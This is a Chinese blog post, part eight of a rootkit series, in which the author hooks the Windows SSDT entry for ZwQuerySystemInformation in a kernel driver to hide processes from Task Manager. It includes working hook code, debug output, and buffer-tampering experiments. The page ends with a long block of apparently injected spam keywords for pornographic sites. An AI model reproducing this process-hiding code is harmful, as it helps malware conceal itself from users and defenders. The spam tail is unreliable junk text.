• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (八)

            Posted on 2009-10-28 14:38 S.l.e!ep.¢% 閱讀(336) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            HOOK SSDT Hide Process (七)

            HOOK SSDT Hide Process (七)? 的代碼雖然隱藏了進程,但會導致在 taskmgr.exe 全部進程看不到
            而且運行一段時間后, taskmgr.exe 就會非法關閉

            Q:
            今天突然發現,如果 taskmgr.exe 中選中了 'Show processes from all users' 選項,還是可以看到其它進程的(taskmgr.exe成功隱藏),但為什么不選中就所以進程看不到?這么鬼異的問題估計要OD下 taskmgr.exe 才知道

            為了一查究竟,我把 MyZwQuerySystemInformation 修改成如下的代碼
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            //if(curr->NextEntryDelta)
            ????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????
            while(curr)
            ????????????{
            ????????????????????????????????KdPrint((
            "ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????
            if(curr->NextEntryDelta)
            ????????????????????curr?
            =?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????
            else
            ????????????????????curr?
            =?NULL;
            ????????????????????
            ????????????????
            ????????????}
            //?while(curr)?
            ????????????????????????
            ????????????????????????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }

            在 DebugView 中顯示的內容如下:
            Entry?Hook?Function!
            Entry?Hook()
            KeServiceDescriptorTable
            ->ServiceTableBase?is?:0x804e2d20
            OldZwQuerySystemInformation?
            is?:0x8057cc27
            MyZwQuerySystemInformation?
            is?:0xf8f0c080
            Leave?DriverEntry
            !
            ProcessName:(
            null)?NextEntryDelta:248?
            ProcessName:System?NextEntryDelta:
            3528?
            ProcessName:smss.exe?NextEntryDelta:
            400?
            ProcessName:csrss.exe?NextEntryDelta:
            912?
            ProcessName:winlogon.exe?NextEntryDelta:
            1304?
            ProcessName:services.exe?NextEntryDelta:
            1176?
            ProcessName:lsass.exe?NextEntryDelta:
            1360?
            ProcessName:vmacthlp.exe?NextEntryDelta:
            280?
            ProcessName:svchost.exe?NextEntryDelta:
            1360?
            ProcessName:svchost.exe?NextEntryDelta:
            656?
            ProcessName:svchost.exe?NextEntryDelta:
            3664?
            ProcessName:svchost.exe?NextEntryDelta:
            464?
            ProcessName:svchost.exe?NextEntryDelta:
            1104?
            ProcessName:explorer.exe?NextEntryDelta:
            920?
            ProcessName:spoolsv.exe?NextEntryDelta:
            848?
            ProcessName:VMwareService.exe?NextEntryDelta:
            416?
            ProcessName:VMwareTray.exe?NextEntryDelta:
            280?
            ProcessName:VMwareUser.exe?NextEntryDelta:
            536?
            ProcessName:ctfmon.exe?NextEntryDelta:
            272?
            ProcessName:wscntfy.exe?NextEntryDelta:
            272?
            ProcessName:alg.exe?NextEntryDelta:
            584?
            ProcessName:cmd.exe?NextEntryDelta:
            264?
            ProcessName:conime.exe?NextEntryDelta:
            272?
            ProcessName:DriverMonitor.exe?NextEntryDelta:
            608?
            ProcessName:notepad.exe?NextEntryDelta:
            272?
            ProcessName:taskmgr.exe?NextEntryDelta:
            400?
            ProcessName:Dbgview.exe?NextEntryDelta:
            0?
            Unhook?leave
            !

            接著再做一個嘗試,如果直接把第二個線程的信息的 NextEntryDelta 改為0 , 是不是 taskmgr.exe 就會只顯示一條線程?
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            if(curr->NextEntryDelta)
            ????????????????????????{
            ??????????????????????????curr->NextEntryDelta?=?0;
            ????????????}
            ????????????????????????
            ????????????????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????????????????
            /*
            ????????????while(curr)
            ????????????{
            ????????????????????????????????KdPrint(("ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????if(curr->NextEntryDelta)
            ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????else
            ????????????????????curr?=?NULL;
            ????????????????????
            ????????????????
            ????????????}//?while(curr)?
            ????????????????
            */????????
            ?????????????????
            //???????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }


            情況還是?taskmgr.exe 中選中了 'Show processes from all users' 選項,就會顯示一條 System Idle Process 線程,如果不選中
            'Show processes from all users' 這個選項,那么 Taskmgr.exe 的列表就會顯示為空

            curr->NextEntryDelta?=?0; 那為何不把 curr 之后的數全部置為 0x00 ?
            于是,加多幾句代碼

            ??????????????if(curr->NextEntryDelta)
            ????????????{
            ??????????????????????????KdPrint((
            "SystemInformationLength:%d?\n",?SystemInformationLength));
            ??????????????????????????curr->NextEntryDelta?=?0;
            ??????????????????????????memset((
            void*)((ULONG)curr?+?curr->NextEntryDelta),?0x00,?SystemInformationLength?-?curr->NextEntryDelta);
            ????????????}

            此時,無論有無選中 'Show Process From all users'選項,所有進程都不顯示在 taskmgr.exe 了
            另外還發現兩個現象
            Q1. taskmgr.exe 調用 ZwQuerySystemInformation 時,ReturnLength?指針總是傳 NULL
            Q2. taskmgr.exe 調用 ZwQuerySystemInformation 時,SystemInformationLength 總是傳 0x6000
            難道 taskmgr.exe 并不是通過 NextEntryData 這個值來定位到下個進程的信息的?

            ?

            亚洲精品无码久久久久去q | 久久亚洲电影| 久久亚洲国产精品五月天婷| 久久婷婷国产剧情内射白浆| 久久无码AV一区二区三区| 亚洲精品国精品久久99热一| 91精品国产综合久久久久久| 久久久久亚洲精品男人的天堂| 亚洲精品无码久久一线| 国内精品久久久久久久久电影网| 麻豆精品久久久久久久99蜜桃| 久久99中文字幕久久| AV无码久久久久不卡蜜桃| 激情久久久久久久久久| 亚洲AV日韩精品久久久久久久| 久久精品国产91久久麻豆自制| 久久天天婷婷五月俺也去 | 久久久人妻精品无码一区| 日韩乱码人妻无码中文字幕久久| 久久精品国产亚洲精品| 欧美激情精品久久久久| 午夜精品久久久久久99热| 四虎影视久久久免费观看| 精品免费tv久久久久久久| 亚洲va中文字幕无码久久不卡| 亚洲欧洲久久久精品| 久久WWW免费人成—看片| 久久亚洲高清观看| 久久99精品久久久久子伦| 精品久久久久久久无码| 婷婷五月深深久久精品| 无码伊人66久久大杳蕉网站谷歌| 久久亚洲精品无码aⅴ大香| 久久久久无码专区亚洲av| segui久久国产精品| 国产ww久久久久久久久久| 亚洲午夜久久久精品影院| 国产激情久久久久影院老熟女免费| 国产成人精品久久二区二区| 久久久精品免费国产四虎| 青青草原1769久久免费播放|